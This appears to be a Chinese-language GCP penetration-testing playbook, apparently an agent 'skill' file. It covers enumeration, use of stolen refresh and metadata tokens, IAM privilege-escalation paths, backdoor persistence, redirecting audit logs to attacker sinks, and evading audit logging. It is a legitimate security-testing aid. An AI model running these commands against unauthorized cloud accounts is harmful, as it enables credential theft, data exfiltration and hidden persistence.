gcp-pentesting

# GCP 云环境渗透测试方法论 GCP 是全球三大公有云之一，承载了大量企业核心业务。其独特的资源层级模型（Organization → Folder → Project → Resource）、Service Account 机制和 IAM 权限继承模型构成了与 AWS/Azure 截然不同的攻击面。本技能以攻击阶段（Phase）为主线，组织从"零凭据"到"完全控制"的完整渗透路径。 ### GCP 与 AWS 的核心区别 | 概念 | GCP | AWS | |---|---|---| | 资源层级 | Organization → Folder → Project → Resource | Account → OU → Resource | | 身份主体 | Google Account、Service Account、Group | IAM User、IAM Role | | 凭据类型 | SA Key (JSON)、OAuth Token、Metadata Token | AK/SK、STS Token、Instance Profile | | 权限绑定 | 在资源上绑定（get-iam-policy） | 在主体上附加策略（Policy） | | PassRole 等价 | `iam.serviceAccounts.actAs` | `iam:PassRole` | | 元数据端点 | 需要 `Metadata-Flavor: Google` 头 | IMDSv1 无需头 / IMDSv2 需 Token | | 访问范围 | OAuth Scopes 限制 Token 能力 | 无等价机制 | ## 深入参考 识别到具体攻击阶段后，加载对应参考文档获取完整技术细节： - 37 服务提权路径（按集群分组） → 读 [references/iam-privesc.md](references/iam-privesc.md) - 后渗透与持久化技术清单（20+ 服务） → 读 [references/post-exploit-persistence.md](references/post-exploit-persistence.md) ## Phase 0: 攻击面判断 拿到一个 GCP 相关目标后，首先判断当前手持的资产类型，决定进入哪个攻击阶段： ``` 当前持有什么？ ├── 无任何凭据 │ ├── 有目标域名/IP → Phase 1（未授权枚举） │ ├── 有 SSRF 漏洞 → 直接打 Metadata 获取 SA Token → Phase 2 │ └── 仅知道组织名称 → OSINT + Phase 1 │ ├── 有 Service Account Key（JSON 格式，含 private_key 字段） │ └── → Phase 2（凭据验证与权限评估） │ ├── 有 OAuth Access Token（ya29. 开头） │ └── → Phase 2（注意：有效期通常 1 小时，需快速行动） │ ├── 有 Refresh Token（从 gcloud 本地配置窃取） │ └── → 生成新 Access Token → Phase 2（可长期维持） │ ├── 在 Compute Engine / Cloud Functions / Cloud Run 实例内部 │ └── → 通过 Metadata 获取绑定 SA 的 Token → Phase 2 │ └── 有 gcloud CLI 配置目录（~/.config/gcloud/） └── → 提取 access_tokens.db / credentials.db → Phase 2 ``` ### GCP 凭据类型速查 | 凭据类型 | 识别特征 | 有效期 | 获取方式 | |---|---|---|---| | SA Key (JSON) | JSON 文件含 `type: service_account` + `private_key` | 永久（直到删除） | 控制台创建 / 代码泄露 | | OAuth Access Token | 以 `ya29.` 开头 | 1 小时 | gcloud / Metadata / API | | Refresh Token | 存储在 credentials.db 中 | 通常长期有效，但会受撤销、未使用、用户安全事件和 Google Cloud session control 影响 | gcloud 本地文件 | | Metadata Token | 从 169.254.169.254 获取 | 自动轮换（~1 小时） | Compute/Functions/Run 内部 | | OIDC Identity Token | JWT 格式 | 1 小时 | SA 签发 / Metadata | | HMAC Key | AccessId + Secret（用于 GCS 互操作） | 永久 | gsutil hmac create | ### OAuth Scopes 与 IAM 的关系 GCP 的 Metadata Token 受 OAuth Scopes 限制。即使 SA 在 IAM 中拥有 Owner 权限，如果 VM 配置的 Scope 仅为 `cloud-platform.read-only`，Token 也只能读取。绕过方法： - 在被入侵主机上搜索 SA Key 文件（不受 Scope 限制） - 跳转到 Scope 限制更宽松的其他 VM - 利用 `iam.serviceAccountKeys.create` 权限生成新 Key ## Phase 1: 未授权枚举 在没有任何 GCP 凭据的情况下，仍可对目标进行大量信息收集。 ### 高价值枚举目标 | 目标 | 攻击方式 | 价值 | |---|---|---| | GCS Bucket | 域名枚举 + 暴力猜解 `storage.googleapis.com` | 数据泄露、获取凭据文件 | | Cloud Functions URL | `https://REGION-PROJECT.cloudfunctions.net/FUNC` | Web 漏洞利用、未鉴权调用 | | Cloud Run 服务 | `https://SERVICE-xxx.a.run.app` | Web 漏洞利用 | | App Engine | `https://PROJECT.appspot.com` | Web 漏洞利用、版本枚举 | | Firebase RTDB | `https://PROJECT.firebaseio.com/.json` | 直接读取数据库 | | Compute Engine 公开端口 | Nmap + 服务指纹 | SSRF → Metadata → SA Token | | BigQuery 公开数据集 | `bq ls --project PROJECT` | 敏感数据泄露 | | Source Repositories | `gcloud source repos list` | 代码泄露 | | API Keys | 前端代码 / 请求抓包 | 未限制的 API Key 滥用 | ### GCS Bucket 快速枚举 ```bash # 1. 检查 Bucket 是否公开可列出 curl "https://storage.googleapis.com/TARGET-BUCKET" gcloud storage ls gs://TARGET-BUCKET 2>/dev/null # 如需匿名测试，先在隔离配置中禁用凭据 # 2. 暴力猜解 Bucket 名（常见命名规则） for name in TARGET TARGET-backup TARGET-dev TARGET-staging TARGET-prod; do curl -s -o /dev/null -w "%{http_code} $name\n" \ "https://storage.googleapis.com/$name" done # 3. 如果可读，下载敏感文件 gsutil -m cp -r gs://TARGET-BUCKET/ ./loot/ 2>/dev/null # 自动化工具 # GCPBucketBrute - 枚举 GCS Bucket 并测试权限 python3 gcpbucketbrute.py -k TARGET_KEYWORD -w wordlist.txt ``` ### Firebase 数据库快速检测 ```bash # 尝试未授权读取 Realtime Database curl "https://TARGET-PROJECT.firebaseio.com/.json" # 尝试写入测试 curl -X PUT "https://TARGET-PROJECT.firebaseio.com/test.json" -d '"pwned"' ``` ### 公开资源综合枚举工具 ```bash # cloud_enum - 枚举 GCS Bucket、Firebase、App Engine、Cloud Functions python3 cloud_enum.py -k TARGET_KEYWORD # CloudBrute - 多云公开资源暴力枚举 CloudBrute -d TARGET -k TARGET -w wordlist.txt ``` ## Phase 2: 凭据验证与权限评估 获取凭据后，第一步是验证有效性并评估权限范围。 ### 2.1 凭据配置与身份验证 ```bash # 方式一：SA Key 文件认证 gcloud auth activate-service-account --key-file=sa_key.json # 方式二：直接使用 OAuth Token（无需文件） export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.xxxx" gcloud projects list # 方式三：使用窃取的 Refresh Token 生成新 Access Token curl -s --data client_id=32555940559.apps.googleusercontent.com \ --data client_secret=ZmssLNjJy2998hD4CTg2ejr2 \ --data grant_type=refresh_token \ --data refresh_token=STOLEN_REFRESH_TOKEN \ --data scope="https://www.googleapis.com/auth/cloud-platform" \ https://www.googleapis.com/oauth2/v4/token # 身份确认（tokeninfo 只接受 access_token 查询参数，不读取 Bearer 头） gcloud auth list curl "https://oauth2.googleapis.com/tokeninfo?access_token=$(gcloud auth print-access-token)" ``` ### 2.2 组织与项目枚举 ```bash # 组织信息 gcloud organizations list gcloud resource-manager folders list --organization ORG_NUMBER # 项目列表 gcloud projects list # 当前项目详情 gcloud config get-value project gcloud projects describe PROJECT_ID ``` ### 2.3 权限枚举 ```bash # 方法一：列出 SA 的 IAM 绑定（需要 iam 读权限） gcloud projects get-iam-policy PROJECT_ID \ --flatten="bindings[].members" \ --filter="bindings.members:serviceAccount:SA_EMAIL" \ --format="table(bindings.role)" # 方法二：暴力枚举可用权限（无需 iam 读权限） # bf_my_gcp_permissions - 暴力测试当前凭据拥有的权限 python3 bf_my_gcp_permissions.py -p PROJECT_ID # 方法三：列出拥有 Key 的 SA（寻找更多攻击面） for sa in $(gcloud iam service-accounts list --format="value(email)"); do echo "=== $sa ===" gcloud iam service-accounts keys list --iam-account "$sa" done ``` ### 2.4 权限评估决策树 ``` 当前身份权限如何？ ├── 有 roles/owner 或 roles/editor → 已是高权限，直接 Phase 4 ├── 有 iam 读权限但无写权限 → 枚举所有 SA/用户/角色，寻找提权路径 → Phase 3 ├── 有特定服务权限（如 storage.*、compute.*、cloudfunctions.*） │ ├── 检查是否有 iam.serviceAccounts.actAs → 可通过服务提权 → Phase 3 │ ├── 有 compute.instances.create + actAs → Compute 提权 → Phase 3 │ └── 可直接利用当前权限进行后渗透 → Phase 4 ├── Token 受 OAuth Scopes 限制 │ └── 尝试绕过 Scopes（搜索 SA Key、跳转其他 VM）→ Phase 2 └── 权限极低 → 暴力枚举更多权限，或回到 Phase 1 寻找更多入口 ``` 参考 `gcp-exploit` 技能，获取 GCP IAM 提权和 GKE 攻击深度指南 参考 `cloud-iam-audit` 技能，进行跨云 IAM 审计 ### 2.5 自动化审计工具 | 工具 | 用途 | 命令 | |---|---|---| | ScoutSuite | 多云安全审计报告 | `scout gcp --user-account` | | gcp_scanner | GCP 资源扫描与权限评估 | `python3 __main__.py -o /tmp/out/ -g ~/.config/gcloud` | | gcp_enum | GCP 环境枚举（Bash 脚本） | `./gcp_enum.sh` | | bf_my_gcp_permissions | 暴力枚举当前凭据权限 | `python3 bf_my_gcp_permissions.py -p PROJECT` | | gcpwn | GCP 渗透测试框架 | `python3 main.py` | | Hayat | GCP 攻击路径发现 | `hayat scan --project PROJECT` | ## Phase 3: 提权 GCP 提权的核心思路：利用当前权限去获取更高权限。GCP 有数百个权限，其中很多组合可以形成提权路径。两大类提权模式： 1. **主体提权**：冒充另一个主体（如通过 `getAccessToken` 冒充 SA） 2. **资源提权**：在特定资源上获取更多权限（如通过 `setIamPolicy` 给自己加权限） 关键权限 `iam.serviceAccounts.actAs` 是 GCP 版的 `iam:PassRole`，允许将 SA 附加到资源上。 ### 提权路径决策树 ``` 当前拥有哪些权限？ ├── IAM 直接操作 │ ├── iam.roles.update → 修改已分配角色添加权限 │ ├── iam.serviceAccounts.setIamPolicy → 给自己授予 SA 的 TokenCreator │ ├── iam.serviceAccountKeys.create → 为目标 SA 创建新 Key │ ├── iam.serviceAccounts.getAccessToken → 直接获取 SA Token │ ├── iam.serviceAccounts.signBlob / signJwt → 签名冒充 SA │ └── iam.serviceAccounts.implicitDelegation → 通过委派链冒充 │ ├── 服务 + actAs 组合 │ ├── compute.instances.create + actAs → 创建绑定高权限 SA 的 VM │ ├── cloudfunctions.functions.create + actAs → 创建恶意 Cloud Function │ ├── run.services.create + actAs → 部署恶意 Cloud Run │ ├── cloudbuild.builds.create + actAs → 提交恶意构建任务 │ ├── composer.environments.create + actAs → 创建 Composer 注入 DAG │ ├── cloudscheduler.jobs.create + actAs → 定时调用 googleapis.com API │ └── aiplatform.customJobs.create + actAs → Vertex AI 任务窃取 Token │ ├── 资源 setIamPolicy │ ├── compute.instances.setIamPolicy → 授予自己 compute.admin │ ├── cloudfunctions.functions.setIamPolicy → 授予 invoker 权限 │ ├── storage.buckets.setIamPolicy → 获取 Bucket 读写权限 │ ├── secretmanager.secrets.setIamPolicy → 获取 Secret 访问权 │ └── bigquery.datasets.setIamPolicy → 获取数据集访问权 │ └── 间接提权 ├── storage.objects.get → 读取 Composer DAG / Cloud Functions 代码 Bucket ├── container.clusters.get + K8s RBAC → GKE 集群内提权 ├── secretmanager.versions.access → 读取存储的凭据 └── compute.projects.setCommonInstanceMetadata → 注入 SSH Key 到所有 VM ``` → 读 [references/iam-privesc.md](references/iam-privesc.md) ## Phase 4: 后渗透与持久化 获得较高权限后，进入后渗透阶段。目标是数据获取、横向移动和建立持久化。 ### 4.1 高价值数据源 ``` 优先搜索哪些数据源？ ├── Secret Manager → 凭据、API Key、数据库密码 ├── GCS Bucket → 文档、备份、日志、配置文件 ├── BigQuery → 业务数据、分析数据 ├── Cloud SQL → 业务数据库 ├── Firestore / Spanner → NoSQL / 分布式数据库 ├── Compute Engine 磁盘快照 → 挂载后读取完整文件系统 ├── Cloud Logging → 应用日志中的敏感信息 ├── Artifact Registry → 容器镜像中的源码和凭据 └── Source Repositories → 代码仓库 ``` ### 4.2 横向移动 **跨项目移动：** - 利用 Organization 级别 IAM 绑定（一个 SA 可能在多个 Project 有权限） - 利用 Shared VPC（跨项目网络访问） - 利用 Service Account 的跨项目 impersonation **跨服务移动：** - Compute Engine → 通过 Metadata 获取 SA Token → 访问其他服务 - GKE Node → 获取 Node SA Token → 跳出 K8s 到 GCP 平面 - Cloud Functions / Cloud Run → 修改代码执行任意操作 - Composer (Airflow) → 注入恶意 DAG ### 4.3 持久化技术概览 | 服务 | 持久化方法 | 隐蔽性 | |---|---|---| | IAM | 创建新 SA Key、添加 IAM Binding、修改角色权限 | 低（Admin Activity 日志） | | Compute Engine | SSH Key 注入、startup-script 后门、磁盘快照 | 中 | | Cloud Functions | 修改函数代码、添加 allUsers invoker 权限 | 中 | | Cloud Run | 部署后门服务、修改现有服务代码 | 中 | | Cloud Scheduler | 创建定时任务调用 googleapis.com API | 高 | | Pub/Sub | 添加外部订阅者持续接收消息 | 高 | | Cloud Build | 修改触发器注入恶意构建步骤 | 高 | | Storage | Bucket IAM 后门、HMAC Key 创建 | 中 | | Token 窃取 | Refresh Token 持久化、SA Key 离线保存 | 高 | | API Keys | 创建不受限制的 API Key | 中 | | Logging | 修改 Log Sink 将审计日志导出到攻击者控制的目标 | 高 | → 读 [references/post-exploit-persistence.md](references/post-exploit-persistence.md) ## Phase 5: Workspace 穿越 GCP 与 Google Workspace 之间存在深度集成关系。拥有特定 GCP 权限的攻击者可能穿越到 Workspace 层面，反之亦然。 ### 关键穿越路径 ``` GCP → Workspace ├── Domain-Wide Delegation（DWD） │ ├── SA 被授予 DWD 权限 → 冒充 Workspace 任意用户 │ └── 访问 Gmail、Drive、Calendar、Admin SDK 等 ├── gcloud OAuth Scope 滥用 │ └── gcloud 支持 drive scope → 窃取 Drive 文件 └── Workspace 用户密码重置 └── 拥有 Admin SDK 权限 → 重置用户密码 Workspace → GCP ├── Workspace 管理员 → 自动拥有 Organization Admin 权限 ├── Group 成员管理 → 添加到有 GCP 权限的 Group └── SAML/OIDC Federation → 利用 Identity Provider 信任关系 ``` 参考 `gcp-workspace-pivot` 技能，获取 GCP 到 Workspace 穿越完整指南 ## 附录: GCP 速查 ### 常用 gcloud 命令 ```bash # 身份与权限 gcloud auth list # 当前认证身份 gcloud auth print-access-token # 打印 Access Token gcloud projects get-iam-policy PROJECT_ID # 项目 IAM 策略 gcloud iam service-accounts list # 列出所有 SA gcloud organizations list # 列出组织 # 资源枚举 gcloud compute instances list # 列出 Compute 实例 gcloud storage ls # 列出 GCS Bucket gcloud functions list # 列出 Cloud Functions gcloud run services list # 列出 Cloud Run 服务 gcloud sql instances list # 列出 Cloud SQL gcloud secrets list # 列出 Secret Manager gcloud container clusters list # 列出 GKE 集群 # Metadata 服务（从实例内部） curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/project/project-id" curl -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true" ``` ### GCP 服务缩写对照表 | 服务 | 攻击面关键词 | |---|---| | IAM | 权限策略、Service Account、角色绑定、提权 | | Compute Engine | 实例、Metadata、SSH Key、startup-script | | GCS (Cloud Storage) | Bucket 策略、ACL、公开访问、HMAC Key | | Cloud Functions | 函数 URL、环境变量、绑定 SA | | Cloud Run | 服务 URL、容器部署、SA 绑定 | | GKE | RBAC、Node SA、Pod SA、集群凭据 | | BigQuery | 数据集权限、数据导出、Row-Level Security | | Cloud SQL | 公开访问、导出、连接 | | Secret Manager | 密钥存储、版本访问 | | KMS | Key Policy、加解密权限 | | Cloud Build | 构建触发器、SA 令牌 | | Composer (Airflow) | DAG 注入、Bucket 后门 | | Pub/Sub | Topic/Subscription 策略 | | Cloud Scheduler | 定时任务、OAuth/OIDC Token 获取 | | Vertex AI | Notebook、Custom Job、Model 部署 | | Artifact Registry | 镜像仓库策略、镜像投毒 | ## 注意事项 **Cloud Audit Logs 审计感知：** GCP 的审计日志分为两类： | 日志类型 | 内容 | 默认启用 | OPSEC 影响 | |---|---|---|---| | Admin Activity | 资源创建/修改/删除、IAM 变更 | 始终启用，不可关闭 | 高（所有管理操作可见） | | Data Access | 数据读取/写入（如 GCS GetObject、BigQuery 查询） | 默认关闭 | 低（但组织可能启用） | **高风险操作（必定触发 Admin Activity 日志）：** - IAM 变更（CreateServiceAccount、CreateServiceAccountKey、SetIamPolicy） - 资源创建（CreateInstance、DeployFunction、CreateCluster） - 角色变更（iam.roles.update、setIamPolicy） **检测绕过注意事项：** - 数据平面操作（GCS 读取、BigQuery 查询）在默认配置下不记录 - Metadata 服务访问不产生 Cloud Audit Log - Organization Policy 可能限制 SA Key 创建、外部 IP 分配等操作 - VPC Service Controls 可能阻止数据离开受保护的项目边界 **区域差异：** GCP 资源是区域/多区域隔离的。枚举时需遍历所有可用区域。全球服务（IAM、Cloud Resource Manager）不受区域限制。